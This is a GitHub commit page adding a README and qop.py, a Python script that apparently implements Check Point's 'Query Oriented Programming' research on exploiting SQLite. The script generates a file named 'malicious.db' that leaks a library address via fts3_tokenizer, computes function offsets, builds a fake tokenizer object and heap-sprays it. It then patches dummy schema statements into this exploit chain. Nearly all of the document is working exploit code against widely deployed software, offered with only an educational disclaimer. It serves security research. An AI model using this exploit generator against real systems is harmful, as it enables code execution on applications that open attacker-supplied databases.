Skip to content

Commit 36e1c19

Browse files
authored
Initial Upload
1 parent 48da11d commit 36e1c19

File tree

2 files changed

+154
-1
lines changed

2 files changed

+154
-1
lines changed

README.md

Lines changed: 21 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1,21 @@
1-
# QOT
1+
# Intro
2+
3+
> SQLite is one of the most deployed software in the world.
4+
> However, from a security perspective, it has only been examined through the lens of WebSQL and browser exploitation.
5+
> We believe that this is just the tip of the iceberg.
6+
> In our long term research, documented http://research.checkpoint.com/select-code_execution-from-using-sqlite,
7+
> we experimented with the exploitation of memory corruption issues
8+
> within SQLite without relying on any environment other than the SQL language.
9+
10+
## Query Oriented Programming
11+
QOP is our approach in implementing common pwning primitives using nothing but SQL queries.
12+
We want to share with the community in the hope of encouraging researchers to pursue the endless possibilities of database engines exploitation.
13+
14+
### Disclaimer
15+
16+
- The code is meant to be used for educational purposes only
17+
- We are not encouraging any illegal activtiy
18+
- The code is provided “as is” without any support
19+
20+
21+

qop.py

Lines changed: 133 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
import os
2+
import random
3+
import string
4+
import sqlite3
5+
6+
7+
def gen_int2hex_map():
8+
conn.execute("CREATE TABLE hex_map (int INTEGER, val BLOB);")
9+
for i in range(256):
10+
conn.execute("INSERT INTO hex_map VALUES ({}, x'{}');".format(i, ''.join('%02x' % i)))
11+
12+
13+
def math_with_const(output_view, table_operand, operator, const_operand):
14+
return "CREATE VIEW {} AS SELECT ( (SELECT * FROM {} ) {} ( SELECT '{}') ) as col;".format(output_view,
15+
table_operand, operator,
16+
const_operand)
17+
18+
19+
def p64(output_view, input_view):
20+
return """CREATE VIEW {0} AS SELECT cast(
21+
(SELECT val FROM hex_map WHERE int = (((select col from {1}) / 1) % 256))||
22+
(SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 8)) % 256))||
23+
(SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 16)) % 256))||
24+
(SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 24)) % 256))||
25+
(SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 32)) % 256))||
26+
(SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 40)) % 256))||
27+
(SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 48)) % 256))||
28+
(SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 56)) % 256)) as blob) as col;""".format(output_view, input_view)
29+
30+
31+
def u64(output_view, input_view):
32+
return """CREATE VIEW {0} AS SELECT (
33+
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -1, 1)) -1) * (1 << 0))) +
34+
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -2, 1)) -1) * (1 << 4))) +
35+
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -3, 1)) -1) * (1 << 8))) +
36+
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -4, 1)) -1) * (1 << 12))) +
37+
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -5, 1)) -1) * (1 << 16))) +
38+
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -6, 1)) -1) * (1 << 20))) +
39+
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -7, 1)) -1) * (1 << 24))) +
40+
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -8, 1)) -1) * (1 << 28))) +
41+
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -9, 1)) -1) * (1 << 32))) +
42+
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -10, 1)) -1) * (1 << 36))) +
43+
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -11, 1)) -1) * (1 << 40))) +
44+
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -12, 1)) -1) * (1 << 44))) +
45+
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -13, 1)) -1) * (1 << 48))) +
46+
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -14, 1)) -1) * (1 << 52))) +
47+
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -15, 1)) -1) * (1 << 56))) +
48+
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -16, 1)) -1) * (1 << 60)))) as col;""".format(output_view, input_view)
49+
50+
51+
def fake_obj(output_view, ptr_list):
52+
if not isinstance(ptr_list, list):
53+
raise TypeError('fake_obj() ptr_list is not a list')
54+
from_string = [i.split(".")[0] for i in ptr_list if not i.startswith("x")]
55+
from_string[0] = "FROM " + from_string[0]
56+
ptrs = "||".join(ptr_list)
57+
return """CREATE VIEW {0} AS SELECT {1} {2};""".format(output_view, ptrs, " JOIN ".join(from_string))
58+
59+
def heap_spray(output_view, spray_count, sprayed_obj):
60+
return """CREATE VIEW {0} AS SELECT replace(hex(zeroblob({1})), "00", (SELECT * FROM {2}));""".format(output_view, spray_count, sprayed_obj)
61+
62+
def flip_end(output_view, input_view):
63+
return """CREATE VIEW {0} AS SELECT
64+
SUBSTR((SELECT col FROM {1}), -2, 2)||
65+
SUBSTR((SELECT col FROM {1}), -4, 2)||
66+
SUBSTR((SELECT col FROM {1}), -6, 2)||
67+
SUBSTR((SELECT col FROM {1}), -8, 2)||
68+
SUBSTR((SELECT col FROM {1}), -10, 2)||
69+
SUBSTR((SELECT col FROM {1}), -12, 2)||
70+
SUBSTR((SELECT col FROM {1}), -14, 2)||
71+
SUBSTR((SELECT col FROM {1}), -16, 2) AS col;""".format(output_view, input_view)
72+
73+
74+
def gen_dummy_DDL_stmt(stmt_len):
75+
table_name = "".join(random.choice(string.ascii_lowercase) for i in range(6))
76+
base = ("CREATE TABLE {} (a text)".format(table_name))
77+
assert len(base) < stmt_len
78+
ret = "CREATE TABLE {} (a{} text)".format(table_name, 'a' * (stmt_len - len(base)))
79+
return ret
80+
81+
82+
def patch(db_file, old, new):
83+
assert (len(old) == len(new))
84+
with open(db_file, "rb") as rfd:
85+
content = rfd.read()
86+
offset = content.find(old)
87+
assert (offset > 100) # offset found and bigger then sqlite header
88+
patched = content[:offset] + new + content[offset + len(old):]
89+
with open(db_file, "wb") as wfd:
90+
wfd.write(patched)
91+
92+
93+
if __name__ == "__main__":
94+
DB_FILENAME = 'malicious.db'
95+
SIMPLE_MODULE_OFFSET = str(0x002C3820)
96+
SIMPLE_CREATE_OFFSET = str(0x0002A790)
97+
SIMPLE_DESTROY_OFFSET = str(0x0001B3D0)
98+
99+
conn = sqlite3.connect(DB_FILENAME)
100+
101+
conn.execute("PRAGMA page_size = 65536;") # long DDL statements tend to split with default page size.
102+
gen_int2hex_map()
103+
qop_chain = []
104+
105+
print("[+] Generating binary leak statements")
106+
qop_chain.append('CREATE VIEW le_bin_leak AS SELECT hex(fts3_tokenizer("simple")) AS col;')
107+
qop_chain.append(flip_end('bin_leak', 'le_bin_leak'))
108+
qop_chain.append(u64('u64_bin_leak', 'bin_leak'))
109+
110+
print("[+] Generating offsets calculation statements")
111+
qop_chain.append(math_with_const('u64_libsqlite_base', 'u64_bin_leak', '-', SIMPLE_MODULE_OFFSET))
112+
113+
qop_chain.append(math_with_const('u64_simple_create', 'u64_libsqlite_base', '+', SIMPLE_CREATE_OFFSET))
114+
qop_chain.append(p64('p64_simple_create', 'u64_simple_create'))
115+
116+
qop_chain.append(math_with_const('u64_simple_destroy', 'u64_libsqlite_base', '+', SIMPLE_DESTROY_OFFSET))
117+
qop_chain.append(p64('p64_simple_destroy', 'u64_simple_destroy'))
118+
119+
print("[+] Generating Heap Spray statements")
120+
qop_chain.append(fake_obj('fake_tokenizer', ["x'4141414141414141'", "p64_simple_create.col", "p64_simple_destroy.col", "x'4242424242424242'"]))
121+
qop_chain.append(heap_spray('heap_spray', 10000, 'fake_tokenizer'))
122+
123+
print("[+] Generating dummy DDL statements to be patched")
124+
dummies = []
125+
for q_stmt in qop_chain:
126+
dummies.append(gen_dummy_DDL_stmt(len(q_stmt)))
127+
conn.execute(dummies[-1])
128+
129+
conn.commit()
130+
print("[+] Patching commited dummy DDL statements")
131+
for d_stmt, q_stmt in zip(dummies, qop_chain):
132+
patch(DB_FILENAME, d_stmt, q_stmt)
133+
print("[+] All Done")

0 commit comments

Comments
 (0)